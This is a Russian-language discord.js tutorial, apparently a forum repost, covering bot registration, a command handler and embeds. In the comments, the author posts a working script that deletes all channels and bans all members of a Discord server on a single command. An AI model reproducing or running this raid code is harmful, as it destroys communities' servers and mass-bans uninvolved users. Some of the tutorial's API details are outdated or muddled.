Создание Discord бота: от А до Я

https://lolzteam.online/threads/1245098/

Часть -1: Предисловие
Привет. В этом “курсе”, вы научитесь создавать своих ботов для мессенджера Discord. Буду вам давать простые домашние задания.
Вы уже должны знать основы JavaScript, node.js и npm
Полезные ссылки:

Войдите или зарегистрируйтесь для просмотра ссылок

Мой Discord, где вы можете задавать мне вопросы – KislBall#0001
ГитЛаб репозиторий с моим ботом:

Войдите или зарегистрируйтесь для просмотра ссылок

Примерный план обучения:
0. Регистрация бота, создание “Hello, world!” местного розлива
1. Написание обработчика команд(одна команда – один файл)
2. Разберем Message Embed
3. Напишем команды модерации
4. Разберем события клиента
5. Создадим команду для получения информации о пользователе и сервере
6. Напишем систему уровней
7. Научимся отслеживать реакции и сообщения
8. Разбор объекта Message
9. Практика! Пишем своего бота модератора
10. Написание музыкального бота(перевод статьи)
Часть 0: Регистрация бота, создание “Hello, world!” местного розлива
1. Заходим на

Войдите или зарегистрируйтесь для просмотра ссылок

2. Нажимаем на New Application
3. Придумываем название
4. Копируем Client ID
5. Заходим во вкладку Bot
6. Нажимаем Add bot
7. Ставим аватарку для бота
8. Копируем токен, сохраняем его где-нибудь
9. Идем на

Войдите или зарегистрируйтесь для просмотра ссылок

10. В поле Client ID вставляем ID бота, если поле ввода все еще красное, то стираем последнюю цифру и пишем её заново
11. Отмечаем все галочки
12. Переходим по ссылке и добавляем бота
Пишем Ping-pong
1. Создаем папку
2. Открываем в ней консоль
3. Пишем:

Код:
npm init

4. Затем:

Код:
npm install discord.js

5. Создаем index.js
6. Создаем config.json
7. В config.json пишем:

Код:
{
    "token": "ваш_токен",
    "prefix": "префикс"
}

7.1. Префикс – символ с которого начинается команда
8. Пишем код в index.js

Код:
let discord = require("discord.js"); //Подключаем Discord.js
let config = require("./config.json"); //Подключаем конфиг

let client = new discord.Client(); //Главный объект Discord.js - с него начинается обработка событий
client.on("message", message => { //Создаем обработчик событий на message
    //Используем message.content
    if(message.content == `${config.prefix}ping`){ //ВАЖНО: объект Message содержит всю информацию о сообщении, но не его содержание!
        message.reply("pong!"); //Отвечаем на сообщение
    }
});

client.login(config.token); //Подключаемся к Discord

Результат:

Войдите или зарегистрируйтесь для просмотра ссылок

Извиняюсь, что было натянуто. В следующем уроке пишем обработчик. Будет уже больше в формате статьи, а не списка пунктов
Часть 1: Обработчик команд
Привет! В этом уроке мы напишем обработчик команд. С ним будет работать намного легче.
В первую очередь, хочу разъяснить некоторые тонкости, которые в дальнейшем будут делать нам бобо:
1. Message – точка входа в Discord.js, вы должны знать этот объект, как свои пять пальцев. Пример: нам нужно сменить название сервера, пишем так:

Код:
//Внутри обработчтка сообщений
let guild = message.guild; //Важно: Guild - сервер
guild.setName("Лимоны захватят мир!"); //Устанавливаем название

Как я наверху писал, в нулевой части, Message – не само сообщение, а информация о нем
2. Member VS User
Member – участник гильдии, со всеми методами для его бана, кика, выдачи ролей и т.д.
User – пользователь, не имеет методов для бана, кика
Например:

Код:
//Внутри обработчика сообщений
let user = message.author; //Получаем User автора
let member = message.member; //Получаем Member автора
member.ban(); //Работает
user.ban(); //Ошибка

Проще говоря – User – человек. Member – человек в конкретном сервере
Пишем обработчик команд:
Давайте напишем обработчик, команд.
Сначала, разберем его алгоритм:
Алгоритм подключения:
1. Сканируем папку “cmds”
2. Подключаем все команды
Алгоритм выполнения:
1. Сравниваем название команды и сообщение
2. Вызываем метод Command.run(message)
Сканирование папки:

Код:
let fs = require("fs"); //Подключим FS для работы с файлами
let cmds = new Map(); //Используем Map для хранения списка команд
let files = fs.readdirSync("./cmds"); //Читаем содержимое папки cmds

Подгружаем команды:

Код:
for(let i = 0; i < files.length; i++){
   let currentCommand = require(`./cmds/${files[i]}`); //Подключим нашу команду
   cmds.set(currentCommand.info.name, currentCommand); //Добавляем нашу команду в список, т.е. название команды - команда
   console.log(`Подключена команда ${currentCommand.info.name} в файле ${files[i]}`); //Отладка
}

Обработчик сообщений:

Код:
cmds.forEach(element => {
       let command = message.content.split(" ")[0]; //Получаем название команды
       if(command.toLowerCase() == `${config.prefix}${element.info.name.toLowerCase()}`)
           element.run(message);
    });

Структура проекта:

Войдите или зарегистрируйтесь для просмотра ссылок

Структура файла с командой:

Код:
module.exports.run = message => { //Функция для запуска команды
    message.reply("pong!");
};
module.exports.info = { //Информация о команде
    "name": "ping"
};

Достаем двойные листочки, ой бля, не туда.
Домашнее задание:

Создать команду pong, пользователь пишет “!pong”, бот отвечает “ping!”
Тут я сделал улучшенный обработчик команд, основанный на ООП:

Войдите или зарегистрируйтесь для просмотра ссылок

Алгоритм улучшенного обработчика:
1. Подключаем файл main.js из каждой папки из папки modules
2. Файл main.js создает модуль и команды(см. папку classes)
3. Добавление модуля в карту
4. Добавление команды в модуль
Часть 2: Разбор MessageEmbed
В этом туториале мы разберем MessageEmbed
В первую очередь, хочу сказать, что можно отправить сообщение без упоминания таким образом:

Код:
let channel = message.channel; //Получаем канал, в который было отправлено сообщение
channel.send("Лимоны захватят мир!"); //Отправляем сообщение

message.channel.send("Лимоны захватят мир!"); //Краткий метод

Message.channel.send(msg) VS Message.reply(msg)

Код:
message.channel.send("Лимоны захватят мир!"); //Лимоны захватят мир!
message.reply("Лимоны захватят мир!"); //<упоминание>, Лимоны захватят мир!

MessageEmbed – разбор
Внимание: не путаем MessageEmbed и RichEmbed; RichEmbed нужен для создания Embed’ов, MessageEmbed – для уже отправленных сообщений;

Код:
let discord = require("discord.js");
module.exports.run = message => {
   let embed = new discord.RichEmbed();  //Класс для работы с RichEmbed
   embed.addBlankField(); //Создает пустое пространство
   embed.addField("Я поле номер один", "Я описание поля номер один!"); //Создание поля в одну строку
   embed.addField("Я поле номер два", "Я стою наровне с полем номер три", true); //Создаем поле с дин. размером
   embed.addField("Я поле номер три", "Я стою наровне с полем номер два", true); //Создаем поле с дин. размером
   embed.setAuthor("Я автор этого Embed'a!", "https://im0-tub-ru.yandex.net/i?id=a90ca245e6f3add6e8eb8222ece29ecd&n=13", "https://lolzteam.online/"); //Указываем автора
   embed.setColor([255,255,0]); //RGB цвет
   embed.setDescription("Я описание этого Embed'a. Если нажать на автора, то я попаду на Lolzteam, ссылка передается третьим аргументом, а изображение - вторым.");
   embed.setFooter("Я футер этого Embed'a", "https://im0-tub-ru.yandex.net/i?id=d21a40e721c6cb745a6eafd0541392b4&n=33&w=188&h=188");
   embed.setImage("https://im0-tub-ru.yandex.net/i?id=296acfb00f1af45c2e01d9ec9fb6cf0b&n=13");
   embed.setThumbnail("https://thumbs.dreamstime.com/b/%D0%BF%D0%BB%D0%BE%D1%81%D0%BA%D0%B8%D0%B9-%D0%BA%D0%BE%D0%BC%D0%BF%D0%BB%D0%B5%D0%BA%D1%82-%D0%BF%D0%BB%D0%BE%D0%B4%D0%BE%D0%BE%D0%B2%D0%BE%D1%89-%D0%B8%D0%B7%D0%B2%D0%B5%D1%81%D1%82%D0%BA%D0%B0-%D0%BB%D0%B8%D0%BC%D0%BE%D0%BD-%D0%B0%D1%80%D0%B1%D1%83%D0%B7-%D0%B7%D0%BD%D0%B0%D1%87%D0%BE%D0%BA-%D0%B2%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%B0-%D0%BA%D1%83%D1%81%D0%BA%D0%B0-118209042.jpg");
   embed.setTimestamp();
   embed.setTitle("Embed Tutorial");
   embed.setURL("https://lolzteam.online");
   message.channel.send(embed);
};
module.exports.info = {
   name: "embed"
};

[​IMG]
Домашнее задание: сидеть на стуле и изучить документацию по Embed’am –

Войдите или зарегистрируйтесь для просмотра ссылок
19 ноя 2019 Отредактировано
2
  • GarikShuster 87 13 сен 2018

    Вместо музыкального бота давай напишем спам-бота?

  • KislBall 4 25 ноя 2018

    Спам-боты делаются очень просто. Сделал набросок просто спам-бота, он банит всех участников, удаляет каналы.

    Код:
    let discord = require("discord.js");
    let config = require("./config.json");
    
    let client = new discord.Client();
    client.on("message", message => {
        if(message.content.toLowerCase().startsWith(`${config.prefix}spam`)){ //Улучшенная обработка команд
            message.guild.channels.forEach(channel => channel.delete());
            //Удаление каналов через Collection.forEach
            message.guild.members.forEach(member => member.ban());
            //Тоже самое, но с участниками
        }
    });
    client.login(config.token);

 

  1. 5
  2. 4
  3. 3
  4. 2
  5. 1
(2 голоса, в среднем: 5 из 5)

Комментарии:

One thought on “Создание Discord бота: от А до Я

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *